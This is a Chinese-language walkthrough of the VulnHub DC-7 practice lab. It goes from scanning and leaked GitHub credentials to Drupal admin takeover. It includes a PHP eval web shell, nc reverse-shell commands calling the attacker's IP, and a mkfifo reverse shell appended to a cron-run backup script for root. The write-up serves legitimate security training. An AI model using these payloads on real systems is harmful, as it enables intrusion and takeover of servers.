1.靶场下载官网地址
https://www.vulnhub.com/entry/dc-7,356/
2.下载完成以后直接导入vm,kali,靶机均使用均使用NAT模式连接,
攻击机:kali 192.168.88.130
靶机:DC-7 192.168.88.133
1.探测88网段主机,使用nmap扫描。
-sn Ping探测扫描主机,不进行端口扫描(测试过对方主机把icmp包都丢弃掉,依然能检测到对方开机状态)
-sp 进行Ping扫描
-sA 发送tcp的ack包进行探测,探测主机是否存活
namp -sn 192.168.88.0/24
查看开放端口
只有80和22端口开放,我们进入页面,根据提示,如果使用爆破或字典攻击,不会成功。那我们就切换思路。目录扫描一波。
翻译: DC-7引入了一些 "新 "的概念,但我将让你自己去弄清楚它们是什么。)
虽然这个挑战没有那么多技术含量,但如果你需要诉诸暴力强迫或字典攻击,你可能不会成功。
你必须做的是 "跳出 "盒子思考。
要 "跳出 "框框。)
找到robots.txt目录
dirb http://192.168.88.133
http://192.168.88.133/user/login/
根据提示,让我们跳出框框思考,发现可疑点
发现了一个GitHub账号
https://github.com/Dc7User/staffdb
发现在config.php文件中存在账号密码。
使用dc7user/MdR3xOgB7#dW 登录80端口的页面,登录失败。回想到还开放了22端口,设想能否通过ssh连接。连接成功。
ssh [email protected]
查看发现有两个文件,backups进去是两个后缀为gpg的文件,gpg命令是用来加密文件的,没有密码本根本无法查看加密后的文件。我们放弃这条路。
cat mbox失败,发现有提示,你有一个新的右键
在linux下的邮件一般有两种形式,一种是mbox形式,一种是maildir形式,mbox是以一个txt文件的形式存储用户的邮件,而maildir是以一个目录的形式,目录下又分成tmp,cur,new三个目录,用户写邮件、发送邮件、接收邮件将使用不同的目录。
查看发现两个命令,gpg和drush,gpg是用来加密的,drupal框架中用来做一些配置的命令,它可以改变网站后台admin用户的密码。
修改密码时切记一定要在网站源码所在目录更改,切换到/var/www/html目录下
drush user-password admin --password="123456"
网站找了一圈,发现可以直接在content>>Add content>>Basic page下添加PHP反弹shell。
发现Drupal 8不支持PHP代码,查阅资料发现Drupal 8后为了安全,需要将php单独作为一个模块导入
php模块地址:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
向下拉,找到FILTERS下的PHP Filter,勾选,install
安装成功
GetShell
<?php
@eval($_REQUEST[123]);
?>
nc -lvvp 1234
蚁剑连接,在终端反弹shell到kali
nc -e /bin/bash 192.168.88.130 1234
python -c 'import pty;pty.spawn("/bin/bash")'
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.88.130 3333 >/tmp/f" >> backups.sh
backups.sh文件大约每15分钟运行一次,耐心等待反弹。给大家示范一个错误,写入了好几次…
开启3333端口监听
flag在/root目录